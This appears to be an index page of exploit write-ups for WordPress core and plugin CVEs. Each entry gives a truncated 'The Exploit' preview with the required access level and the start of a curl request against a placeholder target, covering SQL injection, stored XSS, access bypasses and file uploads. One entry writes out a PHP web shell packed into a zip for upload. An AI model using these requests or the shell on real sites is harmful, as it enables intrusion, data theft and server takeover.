Articles

§06 · Field notes

CVE · PLUGINS · ZERO-DAYS
GitHub

CVE-2026-63030: wordpress-develop

## The Exploit An unauthenticated attacker can perform SQL injection via the `author__not_in` parameter in any REST API endpoint that passes user input to `WP_Query`. The following curl request demonstrates the injection against the default `/wp/v2/posts` endpoint. ```bash curl...

GitHub

CVE-2025-14450

## The Exploit Attacker needs an authenticated WordPress account with Subscriber-level access or higher. ```bash curl 'https://target.example.com/wp-admin/admin-ajax.php' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H 'Co...

Read article →
GitHub

CVE-2026-0682

## The Exploit Requires an authenticated Administrator account. ```bash TARGET="https://target.example" COOKIE="wordpress_logged_in_abcd1234=..." curl -i -X POST "$TARGET/wp-admin/admin.php?page=church_admin_sermons&action=save" \ -H "...

Read article →
GitHub

CVE-2025-8615

## The Exploit A contributor-level WordPress user can store the XSS payload in the `cubewp_shortcode_taxonomy` shortcode `title` attribute. ```bash curl -i -X POST 'https://TARGET/wp-json/wp/v2/pages/123' \ -H 'Cookie: wordpress_logged_...

Read article →
GitHub

CVE-2025-12129

## The Exploit Unauthenticated attacker. ```bash curl -s -G 'https://TARGET/wp-json/cubewp-posts/v1/query-new' \ --data-urlencode 'paged=1' \ -H 'Accept: application/json' | jq '.posts[] | {ID, post_title, post_status, post_password}'...

Read article →
GitHub

CVE-2025-14029

## The Exploit An unauthenticated attacker can approve an arbitrary event by calling the plugin’s AJAX endpoint with `action=ajax_admin_event_approval`, `eventlist`, and a valid `event_approval_nonce`. ```bash curl -s "https://TARGET_HOST...

Read article →
GitHub

CVE-2026-0913

## The Exploit An authenticated attacker with Contributor-level access can inject a stored XSS payload into the `usp_access` shortcode `deny`/`content` attributes. ```bash curl -i -X POST 'https://TARGET/wp-json/wp/v2/posts' \ -H 'Autho...

Read article →
GitHub

CVE-2025-12641

## The Exploit No authenticated session is required beyond the public ticket/registration page nonce already available on the site. ```bash curl 'https://target.example/?wpas-do=mr_activate_user&user_id=1&_wpnonce=PUBLIC_WP_NONCE' \ -H ...

Read article →
GitHub

CVE-2025-13062

## The Exploit Requires authenticated author-level access or higher. ```bash curl -i -X POST "http://TARGET/wp-admin/admin-ajax.php" \ -H "Cookie: wordpress_logged_in_XXXXXXXXXXXXXXXXXXXXXXXX" \ -F "action=supreme_upload_json" \ -F ...

Read article →
GitHub

CVE-2025-12957

## The Exploit Requires authenticated author-level access to the plugin’s AJAX import endpoint. ```bash printf '<?php system($_GET["cmd"]); ?>' > shell.php.vtt zip exploit.zip shell.php.vtt curl -i -s -k -X POST 'https://TARGET/wp-admin/...

Read article →